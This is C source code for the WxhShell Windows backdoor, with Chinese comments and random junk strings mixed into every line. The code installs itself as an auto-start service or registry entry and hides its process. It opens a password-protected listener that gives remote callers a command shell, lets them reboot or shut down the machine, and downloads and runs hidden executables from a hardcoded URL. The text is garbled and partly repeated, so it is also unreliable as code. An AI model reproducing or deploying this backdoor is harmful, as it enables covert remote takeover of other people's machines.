eu g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); b#(QZ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <{V{2V# NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _)CCD33$ 45+kwo0 if (!NtQueryInformationProcess) return 0; MNfc1I_# g6q[
I8 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j1JdG<n if(!hProcess) return 0; \KEmfCx'n 2%l(qfN9 if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; p,4S?cr>a CyS.GdyP CloseHandle(hProcess); AfW:'>2 'mU\X!-
4< hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); =+e;BYD#! if(hProcess==NULL) return 0; 9dg+@FS}= "t{D5{q|[k HMODULE hMod; p=Qo92
NH char procName[255]; FN0<iL unsigned long cbNeeded; *XXa9z k%RQf0`T if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); WAr6Dv,8 ohPXwp?] CloseHandle(hProcess); voN, u>U NS4W!o;" if(strstr(procName,"services")) return 1; // 以服务启动 T.!.3B$@] .v) A|{:2 return 0; // 注册表启动 `?N|{kb } P\X$fD %F*h}i // 主模块 B3u:D"t int StartWxhshell(LPSTR lpCmdLine) ~\R+p~> { 3k+46Wp SOCKET wsl; Mc|UD*Z BOOL val=TRUE; LZPLz@=&] int port=0; c5Hm94,p struct sockaddr_in door; c"'JMq K?wo AuY if(wscfg.ws_autoins) Install();
4m9]d) ds+0y;vc port=atoi(lpCmdLine); ~RM_c uQkFFWS if(port<=0) port=wscfg.ws_port; 0Q/BTT%X j&?@:Zg v WSADATA data; 0bIhP,4&
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; grCz@i yzCamm4~0 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; o
3 G* setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :2&W9v door.sin_family = AF_INET; ma2-66M~j door.sin_addr.s_addr = inet_addr("127.0.0.1"); _nW#Cl~ door.sin_port = htons(port); k5Df97\s {Pi]i? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Gy[m4n~Z5 closesocket(wsl); ;x=0+0JD return 1; fH
5/ } s4\_%je<v "Kn%|\YL@4 if(listen(wsl,2) == INVALID_SOCKET) { [1`&\C_E closesocket(wsl); <yEd'Z return 1; z`@|v~i0` } &FzZpH Wxhshell(wsl); #.W<[KZf WSACleanup(); 8<g9 ~L 3hzKd_ return 0; K<w$ U{.y X7 } |NWo.j>4- RS[QZOoW} // 以NT服务方式启动 /4-6V
d"8 VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) arj?U=zy { )1!*N)$ DWORD status = 0; 1O;q|p'9 DWORD specificError = 0xfffffff; w>gB&59r K@@[N17/8 serviceStatus.dwServiceType = SERVICE_WIN32; fnO>v/&B serviceStatus.dwCurrentState = SERVICE_START_PENDING; 1lQO`CmR6M serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; \ssqIRk serviceStatus.dwWin32ExitCode = 0; KP]{=~( serviceStatus.dwServiceSpecificExitCode = 0; vqJjAls serviceStatus.dwCheckPoint = 0; S_56! serviceStatus.dwWaitHint = 0; v|u[BmA)*k L,wEUI hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ^NiS7 )FX if (hServiceStatusHandle==0) return; niJtgK:H^ iyf vcKO status = GetLastError(); 3N 5b3F if (status!=NO_ERROR) qUtlh,4) { C.;H?So( serviceStatus.dwCurrentState = SERVICE_STOPPED; p{4nWeH?B serviceStatus.dwCheckPoint = 0; p!3!&{ serviceStatus.dwWaitHint = 0; Vq<\ixRi serviceStatus.dwWin32ExitCode = status; 2i_k$- serviceStatus.dwServiceSpecificExitCode = specificError; 0T7""^'& SetServiceStatus(hServiceStatusHandle, &serviceStatus); gCY%@?YyN return; Z |CL:)h } -mK;f$X EG[Rda serviceStatus.dwCurrentState = SERVICE_RUNNING; |.Y}2>{ serviceStatus.dwCheckPoint = 0; "_
i: serviceStatus.dwWaitHint = 0; =5m~rJ<{ if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); jUCrj' } u'+;/8 }&O}t{gS* // 处理NT服务事件,比如:启动、停止 S4FR=QuVQC VOID WINAPI NTServiceHandler(DWORD fdwControl) W #kOcw { R<n'v.~"A switch(fdwControl) xF8^#J6> { 0'0GAh2 case SERVICE_CONTROL_STOP: jou741 serviceStatus.dwWin32ExitCode = 0; f/NfvLi(AU serviceStatus.dwCurrentState = SERVICE_STOPPED; i@p0Jnh| serviceStatus.dwCheckPoint = 0; Dm0Ts~ serviceStatus.dwWaitHint = 0; +:?"P<' { }grel5lq SetServiceStatus(hServiceStatusHandle, &serviceStatus); )4BLm } VwrHD$ return; V*w~Sr% case SERVICE_CONTROL_PAUSE: G :JQ_w serviceStatus.dwCurrentState = SERVICE_PAUSED; of k@.TmO break; R9`37(c9+ case SERVICE_CONTROL_CONTINUE: ' (1`iQ; serviceStatus.dwCurrentState = SERVICE_RUNNING; iy\ 6e k1 break; qTUyax case SERVICE_CONTROL_INTERROGATE: qz<>9n@o break; Xe7/ }; YA[\|I33 SetServiceStatus(hServiceStatusHandle, &serviceStatus); H!yqIh } /f0*NNSat- ~dc~<hK // 标准应用程序主函数 W2F *+M int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) R+y 9JE { )D"E] <UC_QPA\ // 获取操作系统版本 {WoS&eL OsIsNt=GetOsVer(); NP^j5|A*" GetModuleFileName(NULL,ExeFile,MAX_PATH); K{WLo5HP yz7X7mAo // 从命令行安装 yhSbX4Q if(strpbrk(lpCmdLine,"iI")) Install(); +<o}@hefY2 >q7/zl // 下载执行文件 2=/,9ka~ if(wscfg.ws_downexe) { \hr2#! if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) wYAi-gdOi WinExec(wscfg.ws_filenam,SW_HIDE); \x9.[?;=e } BL^\"Xh$| |qFCzK9tD/ if(!OsIsNt) { }5qpiS"V9 // 如果时win9x,隐藏进程并且设置为注册表启动 oW
\k%Vj HideProc(); l" P3lKS StartWxhshell(lpCmdLine); E6Uiw]3 } O4.`N?Xq else 9`X}G` if(StartFromService()) b>Em~NMu_ // 以服务方式启动 :[C"}mR1 StartServiceCtrlDispatcher(DispatchTable); o!-kwtw`l else cA8A^Iv:0 // 普通方式启动 6A23H7 StartWxhshell(lpCmdLine); Cl>{vSN j}fu|- return 0; {\62c;. } ZGZ1Q/WH o/~Rf1 3yw`%$d5 d,d ohi =========================================== zD,K_HicI o;5 ns ]u<8jr )~[rb<:)b V|W[>/ h1AZ+9 " /c:78@ J=sj+:GS #include <stdio.h> _ ,~D]JYE #include <string.h> mo()l8 #include <windows.h> /fDXO;tN #include <winsock2.h> f~?4 #include <winsvc.h> ')#!M\1,HQ #include <urlmon.h> xh`4s nc/F@HCB #pragma comment (lib, "Ws2_32.lib") =jIP29+ #pragma comment (lib, "urlmon.lib") eOU v#F (29BS(|! #define MAX_USER 100 // 最大客户端连接数 6[~_;0 #define BUF_SOCK 200 // sock buffer fIwG9cR #define KEY_BUFF 255 // 输入 buffer *mtS\J eRm 9LOp #define REBOOT 0 // 重启 Q8 #define SHUTDOWN 1 // 关机 wMvAm%}+ #)b0&wyW6i #define DEF_PORT 5000 // 监听端口 'M!* Ge ;@$v_i #define REG_LEN 16 // 注册表键长度 G A+#'R
#define SVC_LEN 80 // NT服务名长度 8RaRXnJ LzGSN // 从dll定义API s9F{UN3 typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oj%(@6L typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); (F=q/lK$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); *pj^d>< typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); (JdZl2A. w gU2q| // wxhshell配置信息 XkRPD struct WSCFG { YE;Tpji int ws_port; // 监听端口 h6~H5X char ws_passstr[REG_LEN]; // 口令 ZBsV int ws_autoins; // 安装标记, 1=yes 0=no n&\DJzW\# char ws_regname[REG_LEN]; // 注册表键名 7Q>bJ Ek7 char ws_svcname[REG_LEN]; // 服务名 /:-Y7M* char ws_svcdisp[SVC_LEN]; // 服务显示名 1.IEs:(; char ws_svcdesc[SVC_LEN]; // 服务描述信息 He)vl. char ws_passmsg[SVC_LEN]; // 密码输入提示信息 HyGu3 int ws_downexe; // 下载执行标记, 1=yes 0=no A(6n- zL char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ,%<ICusZ char ws_filenam[SVC_LEN]; // 下载后保存的文件名 fb|%)A= /0z#0gNp }; y*H rv HVH <S // default Wxhshell configuration k.<OO struct WSCFG wscfg={DEF_PORT, S2<evs1d "xuhuanlingzhe", BBDt^$ 1, !(nFq9~~Q "Wxhshell", A3eus "Wxhshell", khe.+Qfgj "WxhShell Service", 1WUlBr/k "Wrsky Windows CmdShell Service", }!*CyO* "Please Input Your Password: ", 9:JQ*O$ 1, CKy/gTN "http://www.wrsky.com/wxhshell.exe", WWjc.A$ "Wxhshell.exe" , .]1N:
}; J7FzOwd1h (,^jgv|I // 消息定义模块
`BzjDI:a char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _;'<}a char *msg_ws_prompt="\n\r? for help\n\r#>"; hF`Qs char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q/]t$ char *msg_ws_ext="\n\rExit."; Z# o;H$ char *msg_ws_end="\n\rQuit."; xua
E\*m char *msg_ws_boot="\n\rReboot..."; gn)>(MG char *msg_ws_poff="\n\rShutdown..."; aW*8t'm;m' char *msg_ws_down="\n\rSave to "; {n 4W3 ^E]y >Y char *msg_ws_err="\n\rErr!"; 'LMMo4o3 char *msg_ws_ok="\n\rOK!"; nh*hw[Ord )SzgMbF6 char ExeFile[MAX_PATH]; ,~*pPhQ8m int nUser = 0; 0dCg/wJx HANDLE handles[MAX_USER]; p-f"4vH int OsIsNt; 'n/L1Fn `EWQ>m+ SERVICE_STATUS serviceStatus; BFvRU5&Sz SERVICE_STATUS_HANDLE hServiceStatusHandle; Pq3m(+gf %4^NX@1jV // 函数声明 |3P dlIbO int Install(void); 'mYUAVmSC# int Uninstall(void); F2!]T = int DownloadFile(char *sURL, SOCKET wsh); ;!pSYcT, int Boot(int flag); 4_W*LG~2s void HideProc(void); )MeeF-Ad6 int GetOsVer(void); 6H^=\ int Wxhshell(SOCKET wsl); Dks"(0g void TalkWithClient(void *cs); _fjHa6S int CmdShell(SOCKET sock); ^8V8,C) int StartFromService(void); /Y0oA3am int StartWxhshell(LPSTR lpCmdLine); @TvDxY1)6Z i%n9RuULh VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "'*Qq@!3? VOID WINAPI NTServiceHandler( DWORD fdwControl ); W0k7(v) m8<.TCIQ // 数据结构和表定义 %`\=qSf* SERVICE_TABLE_ENTRY DispatchTable[] = Wa<SYJ { cceh`s=cU {wscfg.ws_svcname, NTServiceMain}, ,;)_$%bHc {NULL, NULL} qQp;i{X }; bY}:!aR<mK w`X0^<Fv // 自我安装 o:PdPuZVR int Install(void) "5@\"L { se*!OiOt char svExeFile[MAX_PATH]; x:iLBYf HKEY key; Qb#iT}!p% strcpy(svExeFile,ExeFile); 1T0s
UIY {xRO.699 // 如果是win9x系统,修改注册表设为自启动 u[6aSqwC| if(!OsIsNt) { l#& \,T if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { S7(tGD RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); z<OfSS_]R RegCloseKey(key); pM}n)Q!{3" if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |* B9{/;4 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6kHuKxY, RegCloseKey(key); `%_(_%K return 0; IVso/! } md;jj^8zj } Bk@&k}0 } @dc4v_9 else { {r?+PQQ# L0>7v // 如果是NT以上系统,安装为系统服务 WZN0`Od SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <lP5}F87 if (schSCManager!=0) >!PCEw<i { p%-;hL! SC_HANDLE schService = CreateService .o) ( Sz-TarTF schSCManager, D-Q54 "^3 wscfg.ws_svcname, q.ZkQN+ wscfg.ws_svcdisp, G2w0r,[ SERVICE_ALL_ACCESS, 6+/BYN!&4 SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 4VP$,|a SERVICE_AUTO_START, .5!Q( SERVICE_ERROR_NORMAL, `<(o;*&Gd svExeFile, #{5h6IC NULL, ]SUW"5L- NULL, AZva NULL, [/U5M>#n NULL, (p(-E NULL 8qwPk4 ); wit
if (schService!=0) glZjo { ld7B{ ?] CloseServiceHandle(schService); kiu#THF CloseServiceHandle(schSCManager); ^zKP5nzL strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); XGAR8=tic strcat(svExeFile,wscfg.ws_svcname); uQ3W = if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ygc.0VKMR RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); (r/))I9^ RegCloseKey(key); Q1RUmIe_& return 0; KouIzWf. } H](TSt<Q" } <G#Q f|& CloseServiceHandle(schSCManager); nG7E j#1 } &H/3@A3 } Q+p9^_r tS[%C) return 1; E&0]s } -SF50.[ Qn \=P*j // 自我卸载 Z9zsvg int Uninstall(void) &:#"APX { )JOo|pr-K HKEY key; C,$7fW{? *~^M_wej if(!OsIsNt) { wp<f{^ et if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y<m}dW6[\ RegDeleteValue(key,wscfg.ws_regname); /J!~0~F RegCloseKey(key); {4r } jH if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TE-(Zil\ RegDeleteValue(key,wscfg.ws_regname); ;RS^^vDm RegCloseKey(key); s:JQV return 0; G& @_,y| } R:U!HE8j } R]N"P:wf@ } Lv@'v4.({ else { {;3a^K ; Z2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !-tVt
D if (schSCManager!=0) !=]cASPGD { CJt(c,!z SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 6JD~G\$ if (schService!=0) 7@Xi*Azd { gFnJDR if(DeleteService(schService)!=0) { %D>cY! CloseServiceHandle(schService); ,yTT,)@< CloseServiceHandle(schSCManager); v(l:N@L return 0; j9|1G-CM } J )UCy;Y CloseServiceHandle(schService); Bs\&'=l } e\! ic CloseServiceHandle(schSCManager); vq1u!SY } D:XjJMW3r } $|K-wN[ j=Z;M1 return 1; R2y~+tko? } s\.\z[1 .`^wRpa2M // 从指定url下载文件 i*e'eZ;) int DownloadFile(char *sURL, SOCKET wsh) Dj{=Y`Tw { 'e8O
\FOf HRESULT hr; u(g9-O char seps[]= "/"; EO"G(v char *token; (#rhD} char *file; 4B@Ir)^(* char myURL[MAX_PATH]; >uwd3XW5 char myFILE[MAX_PATH]; 4)d"}j +krDmU9( strcpy(myURL,sURL); bEb+oRI token=strtok(myURL,seps); IhXP~C6 while(token!=NULL) )odz/\9n3c { |\N))K-2D file=token; ;&
zBNj token=strtok(NULL,seps); ?;DzWCL~9 } R!2E`^{Wl vpoJ{TPO
GetCurrentDirectory(MAX_PATH,myFILE); 14yzGhA strcat(myFILE, "\\"); {$'oKJy* strcat(myFILE, file); oI x!?,1 send(wsh,myFILE,strlen(myFILE),0); ]>,Lw=_[_ send(wsh,"...",3,0); ,Ofou8C6 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); P.kf|,8L if(hr==S_OK) 66HxwY3a return 0; Nh+XlgXG else ~;I'.TW return 1; 8xYeaK E]ZIm } ]?s^{ s:^Xtox/ // 系统电源模块 )
-@Dh6F int Boot(int flag) 0[1/#0$ { A3Y}|7QA HANDLE hToken; mf\@vI TOKEN_PRIVILEGES tkp; ZC9S0Z CFG(4IMx if(OsIsNt) { tTPjCl OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 0|FQIhVuY LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ._(5; PB" tkp.PrivilegeCount = 1; "*N]Y^6/A tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 6QNO#!; AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); %=5 m!"F if(flag==REBOOT) { :7pt=IA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) >H,PST return 0; *[tLwl. } Q=#Wk$1. else { D"X`qF6U7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) V0y_c^x return 0; x_#'6H\1ga } bOK0^$k } [W=6NAd else { >/y+;<MZ if(flag==REBOOT) { ig4mj47wJ if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) DpQ:U 5j
return 0; [wcp2g3Px } w s7LDY&( else { ~4M?[E& if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) d*Kg_He- return 0; =p&uQ6.i+ } 0-8'.C1v } xcQ:&q R^Y_i return 1; |4F'Zu}g> } |/;X-+f8 )0{ZZ-beG // win9x进程隐藏模块 y@\J7 h: void HideProc(void) 2UEjn>2 { 94L>%{59 mxl"Y&l2< HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
!}L
cJ if ( hKernel != NULL ) }?[a>.]u { og|~:>FmJo pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); o<!tNOH ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YT)@&HaF FreeLibrary(hKernel); lVS.XQ2< } 'E %+ O %SwhNn return; !p(N
DQm } ]/od p/jm Il$Jj-) // 获取操作系统版本 nrCr9# int GetOsVer(void) 2w>yW] { YfVZ59l4y6 OSVERSIONINFO winfo; &U
yQ<O> winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ?V4bz2#!1O GetVersionEx(&winfo); R<e ~Cb- if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) pSS8 %r%S' return 1; w~WW2w else n<Z1i) return 0; {'[S.r` } fk(h*L|sI YFs!,fw' // 客户端句柄模块 {S5j; int Wxhshell(SOCKET wsl) ,\D*=5 { h3P ^W(=& SOCKET wsh; C7_#D O6" struct sockaddr_in client; 8o!LgT5 DWORD myID; "%K[kA6 FuFA/R=x/ while(nUser<MAX_USER) *hkNJ { zl@hg<n int nSize=sizeof(client); "[\),7&03 wsh=accept(wsl,(struct sockaddr *)&client,&nSize); I=K|1 if(wsh==INVALID_SOCKET) return 1; 6|]e}I@<2 WXCZ
}l handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); SJ8|~,vL if(handles[nUser]==0) Oi\,clR^[o closesocket(wsh); G*rlU else 1g_Dkv|D nUser++; y!jq!faqt } D'oy%
1Q} WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ZGQz@H5 ;7N~d TBQ return 0; "$PX[: } e2L4E8ST< \Culf'iX // 关闭 socket aYcc2N%C void CloseIt(SOCKET wsh) Ae>:i7.V { x^/453Lk closesocket(wsh); ?m dGMf) nUser--; 5ii:93Hlj ExitThread(0); #iP5@:!Wm~ } KU (g Zy 5DnX8t+d // 客户端请求句柄 c_FnJ_+ +f void TalkWithClient(void *cs) 2*}qQ0J { s[#ww
=T\ C!6d`| SOCKET wsh=(SOCKET)cs; hO0g3^ char pwd[SVC_LEN]; G~KYFNHr char cmd[KEY_BUFF]; tW}At char chr[1]; nv_9Llh=z int i,j; OzS/J;[PO[ R>dd#`r" while (nUser < MAX_USER) { EN{o3@ O' &M*f4PeXb if(wscfg.ws_passstr) { J0,;F9<C#X if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); QB L| n+ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d{*e0 //ZeroMemory(pwd,KEY_BUFF); vw[i.af i=0; Rxk0^d:sNi while(i<SVC_LEN) { BSHtoD@e7 =9L1Z \f // 设置超时 ^]ig*oS\` fd_set FdRead; "]ZDs^7 struct timeval TimeOut; :FX|9h FD_ZERO(&FdRead); O7lFg;9c` FD_SET(wsh,&FdRead); a+PVi TimeOut.tv_sec=8; ]8dzTEjk TimeOut.tv_usec=0; ']DUCu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yNOoAnGT W if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); +S
],){ >m#bj^F\ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); gt)wk93d> pwd=chr[0]; WWG+0jQ9 if(chr[0]==0xd || chr[0]==0xa) {
dBEm7.nh pwd=0; !?5YXI, break; vk.P| Y-; } 2i)vT)~ i++; h@%a+ 6b? } I@q(P>]X9 @~8* // 如果是非法用户,关闭 socket 5dkXDta[G if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ?z0N-A2C2 } 8ib%CYR MkX=34oc^ send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ^/fasl$# send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Er@OmNT Ri;_
8v[H| while(1) { Aqo90(jffx r>cN,C ZeroMemory(cmd,KEY_BUFF); &l?AC%a5 6o<(,\ad[ // 自动支持客户端 telnet标准 !Z<=PdI1Ys j=0; i6 )HC while(j<KEY_BUFF) { {B[ }}wX$ if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Nx=rw h cmd[j]=chr[0]; ]_43U` [# if(chr[0]==0xa || chr[0]==0xd) { ~Aw.=Yi= cmd[j]=0; OZ,Xu&N break; qB5.of[N! } QJ2D C j++; ':!aFMj^ } e-*-91D do:IkjU~ // 下载文件 ?}"39n if(strstr(cmd,"http://")) { 'wni.E& send(wsh,msg_ws_down,strlen(msg_ws_down),0); h&2l0|8k if(DownloadFile(cmd,wsh)) tr|)+~x3 send(wsh,msg_ws_err,strlen(msg_ws_err),0); _)[UartKx else 3@\J#mR
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #jM-XK } OXI>`$we else { W_lXY Z< N5. B"l switch(cmd[0]) { sW@_' Lw `G`yA% // 帮助 bX>R9i$
case '?': { ZdgzPs" send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); xSq{pxX break; ^.PCQ~Ql } _{/[&vJ // 安装 G_<4% HM case 'i': { 1$H<Kjsm if(Install()) !<?<f
db send(wsh,msg_ws_err,strlen(msg_ws_err),0); <.&84c]/& else ?!y<%&U send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;OZl'
. %` break; LkXho>y } ; Vpp1mk| // 卸载 ~z)JO'Z$
case 'r': { u9fJ:a if(Uninstall()) y/+IPR send(wsh,msg_ws_err,strlen(msg_ws_err),0); qP]1}- else QD%!a{I send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q _Z+H4 break; </2 aQn } O L 9(~p // 显示 wxhshell 所在路径 0o!mlaU# case 'p': { 8Qhj_ char svExeFile[MAX_PATH]; Xw3j(`w$, strcpy(svExeFile,"\n\r"); a|#TnSk strcat(svExeFile,ExeFile); 9{
#5~WP send(wsh,svExeFile,strlen(svExeFile),0); ]kd:p*U6P break; N(V_P[]"*, } inh
J|pe" // 重启 GSW%~9WBa case 'b': { pQ>|dH+. send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); OX%#8Lx if(Boot(REBOOT)) RFoCM^ send(wsh,msg_ws_err,strlen(msg_ws_err),0); 51Vqbtj^ else { "6
~5RCZ closesocket(wsh); <w`EU[y_ ExitThread(0); ;cB3D3fR. } uVTacN%X break; zwz_K!229 } w!'y,yb% // 关机 %%NT m case 'd': { xkv%4H> send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); XJ5@/BW if(Boot(SHUTDOWN)) '6;
{DX send(wsh,msg_ws_err,strlen(msg_ws_err),0); @JGFG+J} else { )Xa_ry7 closesocket(wsh); 05g %5vHF ExitThread(0); ] E:NmBN< } Ho =vdB break; U$Z<lx2P } 6%}`!_N<Mc // 获取shell Up6OCF case 's': { NfnPXsad CmdShell(wsh); @T:J<, closesocket(wsh); i&?\Pp;5-j ExitThread(0); c g)>A break; 9p{n7. } z%#-2&i // 退出 L^*f$Balz case 'x': { Bal e_s^ send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 3!$+N\ #w CloseIt(wsh); =fJU+N+< break; R:$E'PSx } b
b.UtoPz // 离开 m2"wMt"*V case 'q': { *V7mM? send(wsh,msg_ws_end,strlen(msg_ws_end),0); Yxbg _RQm closesocket(wsh); T*%rhnTv0 WSACleanup(); FSm.o?> exit(1); $v # break; bX$1PYX } j1A%LS;c_ } dNhbvzl( } 6<T:B[a- Il Qk W< // 提示信息 ;S
\s&. u if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); W@ &a } ,SidY\FzH } H(gY= I;-Y2* return; GcDA0%i } 3E^qh03( }79O[& // shell模块句柄 T~k @Z int CmdShell(SOCKET sock) Qrt\bz h/} { DxwR&S{ STARTUPINFO si; 1ANFhl(l ZeroMemory(&si,sizeof(si));
y*ZA{ si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; :"MHmm=uU8 si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; fgeh;cD PROCESS_INFORMATION ProcessInfo; 1Y*k"[?dW char cmdline[]="cmd"; 8lzoiA_9 CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); !+A%`m return 0; )obgEJ7Y`l } !Ve0 :$
EQ ee5} // 自身启动模式 qB (Pqv int StartFromService(void) #>("(euXMF { f}"eN/T typedef struct 3>^]r jFw { #Tei0B7 DWORD ExitStatus; ,h*N9}xYTi DWORD PebBaseAddress; rJkJ/9s DWORD AffinityMask; :\JCxS=EW DWORD BasePriority; \
a,}1FS ULONG UniqueProcessId; m$=}nI(H ULONG InheritedFromUniqueProcessId; >mX6;6FF } PROCESS_BASIC_INFORMATION; 5{oc gT0yI;g] PROCNTQSIP NtQueryInformationProcess; "3\y~<8%' ||>4XDV# static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; hNsi
8/ static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `MCiybl,&P z?.9)T9_ HANDLE hProcess; (_"Zbw%cJy PROCESS_BASIC_INFORMATION pbi; Vy
I\Jmr bsDA&~)s HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ((+XzV> if(NULL == hInst ) return 0; r'jUB^E &>C+5`bg g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); x<M::")5!V g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _%=CW'
B NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 3 a.!9R> \?
)S{ if (!NtQueryInformationProcess) return 0; erW2>^My D<d,9 S,) hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); e}1Q+h\ if(!hProcess) return 0; &TBFt; xws{"m,NX~ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /nQuM05*Z 6" * <0 CloseHandle(hProcess); ! e$ZOYe {%G9iOV. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Or.u*!od& if(hProcess==NULL) return 0; 'z5jnI e|!' HMODULE hMod; =~h b& char procName[255]; A~PR unsigned long cbNeeded; TT/H"Ri}Jp tngB;9c+w if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); n}.e(z_" Hs'~)T 